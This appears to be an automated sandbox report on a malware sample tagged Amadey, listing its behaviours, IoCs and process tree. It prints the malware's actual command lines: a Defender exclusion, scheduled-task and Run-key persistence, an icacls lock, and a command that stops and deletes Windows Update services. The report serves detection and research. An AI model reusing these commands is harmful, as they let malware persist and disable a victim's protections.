amadey | a9b44560d69b30ad8885db926c68747c56f042cfeb52ee6e3be93dd280d84af3

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	187B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	1A42.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	oneetx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	187B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	28AD.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	1A42.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	1BF8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	28AD.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	1629.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	oldplayer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	1BF8.exe

Executes dropped EXE 35 IoCs

pid	Process
1104	1126.exe
4132	1629.exe
4676	187B.exe
2376	1A42.exe
3068	1BF8.exe
3956	ss31.exe
2076	oldplayer.exe
1536	1FF1.exe
4688	XandETC.exe
4032	1A42.exe
1096	187B.exe
4376	1BF8.exe
3644	25ED.exe
1688	sc.exe
4396	oneetx.exe
1240	28AD.exe
436	1BF8.exe
2196	187B.exe
4908	1BF8.exe
4472	187B.exe
4384	1A42.exe
1308	B137.exe
3952	build2.exe
1880	28AD.exe
4576	1A42.exe
4024	build2.exe
4620	28AD.exe
8	build2.exe
968	build2.exe
2224	build2.exe
2120	build2.exe
1404	oneetx.exe
1876	updater.exe
3264	build2.exe
3340	build2.exe

Loads dropped DLL 8 IoCs

pid	Process
4024	build2.exe
4024	build2.exe
3340	build2.exe
3340	build2.exe
2120	build2.exe
2120	build2.exe
968	build2.exe
968	build2.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2232	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\bfeb4d9a-e07c-49d9-98dd-0d2d41d144fb\\1A42.exe\" --AutoStart"	1A42.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
119	api.2ip.ua
125	api.2ip.ua
55	api.2ip.ua
56	api.2ip.ua
58	api.2ip.ua
60	api.2ip.ua
88	api.2ip.ua
89	api.2ip.ua

Suspicious use of SetThreadContext 12 IoCs

description	pid	Process	procid_target
PID 2376 set thread context of 4032	2376	cmd.exe	98
PID 4676 set thread context of 1096	4676	187B.exe	101
PID 3068 set thread context of 4376	3068	Process not Found	100
PID 1688 set thread context of 1240	1688	sc.exe	114
PID 436 set thread context of 4908	436	1BF8.exe	115
PID 2196 set thread context of 4472	2196	187B.exe	116
PID 4384 set thread context of 4576	4384	1A42.exe	123
PID 3952 set thread context of 4024	3952	build2.exe	124
PID 1880 set thread context of 4620	1880	28AD.exe	125
PID 8 set thread context of 968	8	build2.exe	127
PID 2224 set thread context of 2120	2224	build2.exe	148
PID 3264 set thread context of 3340	3264	build2.exe	156

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1688	sc.exe
4588	sc.exe
1868	sc.exe
4360	sc.exe
4340	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4108	3644	WerFault.exe	99
1372	1308	WerFault.exe	118

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	a9b44560d69b30ad8885db926c68747c56f042cfeb52ee6e3be93dd280d84af3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1126.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1FF1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1FF1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	a9b44560d69b30ad8885db926c68747c56f042cfeb52ee6e3be93dd280d84af3.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	a9b44560d69b30ad8885db926c68747c56f042cfeb52ee6e3be93dd280d84af3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1126.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1126.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1FF1.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4072	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4660	a9b44560d69b30ad8885db926c68747c56f042cfeb52ee6e3be93dd280d84af3.exe
4660	a9b44560d69b30ad8885db926c68747c56f042cfeb52ee6e3be93dd280d84af3.exe
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE
3140	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3140	Explorer.EXE

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4660	a9b44560d69b30ad8885db926c68747c56f042cfeb52ee6e3be93dd280d84af3.exe
1104	1126.exe
1536	1FF1.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	1308	B137.exe
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeShutdownPrivilege	3140	Explorer.EXE
Token: SeCreatePagefilePrivilege	3140	Explorer.EXE
Token: SeDebugPrivilege	224	powershell.exe
Token: SeShutdownPrivilege	3228	powercfg.exe
Token: SeCreatePagefilePrivilege	3228	powercfg.exe
Token: SeShutdownPrivilege	964	powercfg.exe
Token: SeCreatePagefilePrivilege	964	powercfg.exe
Token: SeShutdownPrivilege	3736	powercfg.exe
Token: SeCreatePagefilePrivilege	3736	powercfg.exe
Token: SeShutdownPrivilege	4424	schtasks.exe
Token: SeCreatePagefilePrivilege	4424	schtasks.exe
Token: SeIncreaseQuotaPrivilege	224	powershell.exe
Token: SeSecurityPrivilege	224	powershell.exe
Token: SeTakeOwnershipPrivilege	224	powershell.exe
Token: SeLoadDriverPrivilege	224	powershell.exe
Token: SeSystemProfilePrivilege	224	powershell.exe
Token: SeSystemtimePrivilege	224	powershell.exe
Token: SeProfSingleProcessPrivilege	224	powershell.exe
Token: SeIncBasePriorityPrivilege	224	powershell.exe
Token: SeCreatePagefilePrivilege	224	powershell.exe
Token: SeBackupPrivilege	224	powershell.exe
Token: SeRestorePrivilege	224	powershell.exe
Token: SeShutdownPrivilege	224	powershell.exe
Token: SeDebugPrivilege	224	powershell.exe
Token: SeSystemEnvironmentPrivilege	224	powershell.exe
Token: SeRemoteShutdownPrivilege	224	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2076	oldplayer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3140 wrote to memory of 1104	3140	Explorer.EXE	87
PID 3140 wrote to memory of 1104	3140	Explorer.EXE	87
PID 3140 wrote to memory of 1104	3140	Explorer.EXE	87
PID 3140 wrote to memory of 4132	3140	Explorer.EXE	90
PID 3140 wrote to memory of 4132	3140	Explorer.EXE	90
PID 3140 wrote to memory of 4132	3140	Explorer.EXE	90
PID 3140 wrote to memory of 4676	3140	Explorer.EXE	91
PID 3140 wrote to memory of 4676	3140	Explorer.EXE	91
PID 3140 wrote to memory of 4676	3140	Explorer.EXE	91
PID 3140 wrote to memory of 2376	3140	Explorer.EXE	92
PID 3140 wrote to memory of 2376	3140	Explorer.EXE	92
PID 3140 wrote to memory of 2376	3140	Explorer.EXE	92
PID 3140 wrote to memory of 3068	3140	Explorer.EXE	93
PID 3140 wrote to memory of 3068	3140	Explorer.EXE	93
PID 3140 wrote to memory of 3068	3140	Explorer.EXE	93
PID 4132 wrote to memory of 3956	4132	1629.exe	94
PID 4132 wrote to memory of 3956	4132	1629.exe	94
PID 4132 wrote to memory of 2076	4132	1629.exe	96
PID 4132 wrote to memory of 2076	4132	1629.exe	96
PID 4132 wrote to memory of 2076	4132	1629.exe	96
PID 3140 wrote to memory of 1536	3140	Explorer.EXE	95
PID 3140 wrote to memory of 1536	3140	Explorer.EXE	95
PID 3140 wrote to memory of 1536	3140	Explorer.EXE	95
PID 4132 wrote to memory of 4688	4132	1629.exe	97
PID 4132 wrote to memory of 4688	4132	1629.exe	97
PID 2376 wrote to memory of 4032	2376	cmd.exe	98
PID 2376 wrote to memory of 4032	2376	cmd.exe	98
PID 2376 wrote to memory of 4032	2376	cmd.exe	98
PID 2376 wrote to memory of 4032	2376	cmd.exe	98
PID 2376 wrote to memory of 4032	2376	cmd.exe	98
PID 2376 wrote to memory of 4032	2376	cmd.exe	98
PID 2376 wrote to memory of 4032	2376	cmd.exe	98
PID 2376 wrote to memory of 4032	2376	cmd.exe	98
PID 2376 wrote to memory of 4032	2376	cmd.exe	98
PID 2376 wrote to memory of 4032	2376	cmd.exe	98
PID 4676 wrote to memory of 1096	4676	187B.exe	101
PID 4676 wrote to memory of 1096	4676	187B.exe	101
PID 4676 wrote to memory of 1096	4676	187B.exe	101
PID 4676 wrote to memory of 1096	4676	187B.exe	101
PID 4676 wrote to memory of 1096	4676	187B.exe	101
PID 4676 wrote to memory of 1096	4676	187B.exe	101
PID 4676 wrote to memory of 1096	4676	187B.exe	101
PID 4676 wrote to memory of 1096	4676	187B.exe	101
PID 4676 wrote to memory of 1096	4676	187B.exe	101
PID 4676 wrote to memory of 1096	4676	187B.exe	101
PID 3068 wrote to memory of 4376	3068	Process not Found	100
PID 3068 wrote to memory of 4376	3068	Process not Found	100
PID 3068 wrote to memory of 4376	3068	Process not Found	100
PID 3140 wrote to memory of 3644	3140	Explorer.EXE	99
PID 3140 wrote to memory of 3644	3140	Explorer.EXE	99
PID 3140 wrote to memory of 3644	3140	Explorer.EXE	99
PID 3068 wrote to memory of 4376	3068	Process not Found	100
PID 3068 wrote to memory of 4376	3068	Process not Found	100
PID 3068 wrote to memory of 4376	3068	Process not Found	100
PID 3068 wrote to memory of 4376	3068	Process not Found	100
PID 3068 wrote to memory of 4376	3068	Process not Found	100
PID 3068 wrote to memory of 4376	3068	Process not Found	100
PID 3068 wrote to memory of 4376	3068	Process not Found	100
PID 3140 wrote to memory of 1688	3140	Explorer.EXE	143
PID 3140 wrote to memory of 1688	3140	Explorer.EXE	143
PID 3140 wrote to memory of 1688	3140	Explorer.EXE	143
PID 2076 wrote to memory of 4396	2076	oldplayer.exe	106
PID 2076 wrote to memory of 4396	2076	oldplayer.exe	106
PID 2076 wrote to memory of 4396	2076	oldplayer.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3140
- C:\Users\Admin\AppData\Local\Temp\a9b44560d69b30ad8885db926c68747c56f042cfeb52ee6e3be93dd280d84af3.exe
  "C:\Users\Admin\AppData\Local\Temp\a9b44560d69b30ad8885db926c68747c56f042cfeb52ee6e3be93dd280d84af3.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4660
- C:\Users\Admin\AppData\Local\Temp\1126.exe
  C:\Users\Admin\AppData\Local\Temp\1126.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1104
- C:\Users\Admin\AppData\Local\Temp\1629.exe
  C:\Users\Admin\AppData\Local\Temp\1629.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4132
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:3956
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2076
  - - C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:4396
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4072
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4688
- C:\Users\Admin\AppData\Local\Temp\187B.exe
  C:\Users\Admin\AppData\Local\Temp\187B.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Users\Admin\AppData\Local\Temp\187B.exe
    C:\Users\Admin\AppData\Local\Temp\187B.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:1096
  - - C:\Users\Admin\AppData\Local\Temp\187B.exe
      "C:\Users\Admin\AppData\Local\Temp\187B.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:2196
    - - C:\Users\Admin\AppData\Local\Temp\187B.exe
        
        "C:\Users\Admin\AppData\Local\Temp\187B.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4472
      - C:\Users\Admin\AppData\Local\3c27fb6d-4880-45d7-b98d-fad6c28d2876\build2.exe
        
        "C:\Users\Admin\AppData\Local\3c27fb6d-4880-45d7-b98d-fad6c28d2876\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:8
        
        C:\Users\Admin\AppData\Local\3c27fb6d-4880-45d7-b98d-fad6c28d2876\build2.exe
        
        "C:\Users\Admin\AppData\Local\3c27fb6d-4880-45d7-b98d-fad6c28d2876\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:968
- C:\Users\Admin\AppData\Local\Temp\1A42.exe
  C:\Users\Admin\AppData\Local\Temp\1A42.exe
  2⤵
  - Executes dropped EXE
  PID:2376
- - C:\Users\Admin\AppData\Local\Temp\1A42.exe
    C:\Users\Admin\AppData\Local\Temp\1A42.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    PID:4032
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\bfeb4d9a-e07c-49d9-98dd-0d2d41d144fb" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:2232
  - - C:\Users\Admin\AppData\Local\Temp\1A42.exe
      "C:\Users\Admin\AppData\Local\Temp\1A42.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4384
    - - C:\Users\Admin\AppData\Local\Temp\1A42.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1A42.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4576
      - C:\Users\Admin\AppData\Local\468cd154-70ca-41bc-97a8-f595d5265b37\build2.exe
        
        "C:\Users\Admin\AppData\Local\468cd154-70ca-41bc-97a8-f595d5265b37\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3264
        
        C:\Users\Admin\AppData\Local\468cd154-70ca-41bc-97a8-f595d5265b37\build2.exe
        
        "C:\Users\Admin\AppData\Local\468cd154-70ca-41bc-97a8-f595d5265b37\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3340
- C:\Users\Admin\AppData\Local\Temp\1BF8.exe
  C:\Users\Admin\AppData\Local\Temp\1BF8.exe
  2⤵
  - Executes dropped EXE
  PID:3068
- - C:\Users\Admin\AppData\Local\Temp\1BF8.exe
    C:\Users\Admin\AppData\Local\Temp\1BF8.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4376
  - - C:\Users\Admin\AppData\Local\Temp\1BF8.exe
      "C:\Users\Admin\AppData\Local\Temp\1BF8.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:436
    - - C:\Users\Admin\AppData\Local\Temp\1BF8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1BF8.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4908
      - C:\Users\Admin\AppData\Local\069a8856-6c98-410e-86f2-25046156f849\build2.exe
        
        "C:\Users\Admin\AppData\Local\069a8856-6c98-410e-86f2-25046156f849\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3952
        
        C:\Users\Admin\AppData\Local\069a8856-6c98-410e-86f2-25046156f849\build2.exe
        
        "C:\Users\Admin\AppData\Local\069a8856-6c98-410e-86f2-25046156f849\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4024
- C:\Users\Admin\AppData\Local\Temp\1FF1.exe
  C:\Users\Admin\AppData\Local\Temp\1FF1.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1536
- C:\Users\Admin\AppData\Local\Temp\25ED.exe
  C:\Users\Admin\AppData\Local\Temp\25ED.exe
  2⤵
  - Executes dropped EXE
  PID:3644
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 812
    3⤵
    - Program crash
    PID:4108
- C:\Users\Admin\AppData\Local\Temp\28AD.exe
  C:\Users\Admin\AppData\Local\Temp\28AD.exe
  2⤵
  PID:1688
- - C:\Users\Admin\AppData\Local\Temp\28AD.exe
    C:\Users\Admin\AppData\Local\Temp\28AD.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:1240
  - - C:\Users\Admin\AppData\Local\Temp\28AD.exe
      "C:\Users\Admin\AppData\Local\Temp\28AD.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:1880
    - - C:\Users\Admin\AppData\Local\Temp\28AD.exe
        
        "C:\Users\Admin\AppData\Local\Temp\28AD.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4620
      - C:\Users\Admin\AppData\Local\7ef5a057-a640-4110-858f-c0b71efc8db1\build2.exe
        
        "C:\Users\Admin\AppData\Local\7ef5a057-a640-4110-858f-c0b71efc8db1\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2224
        
        C:\Users\Admin\AppData\Local\7ef5a057-a640-4110-858f-c0b71efc8db1\build2.exe
        
        "C:\Users\Admin\AppData\Local\7ef5a057-a640-4110-858f-c0b71efc8db1\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2120
- C:\Users\Admin\AppData\Local\Temp\B137.exe
  C:\Users\Admin\AppData\Local\Temp\B137.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1308
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1288
    3⤵
    - Program crash
    PID:1372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:224
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4612
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3228
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:964
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3736
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4424
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4588
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1868
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
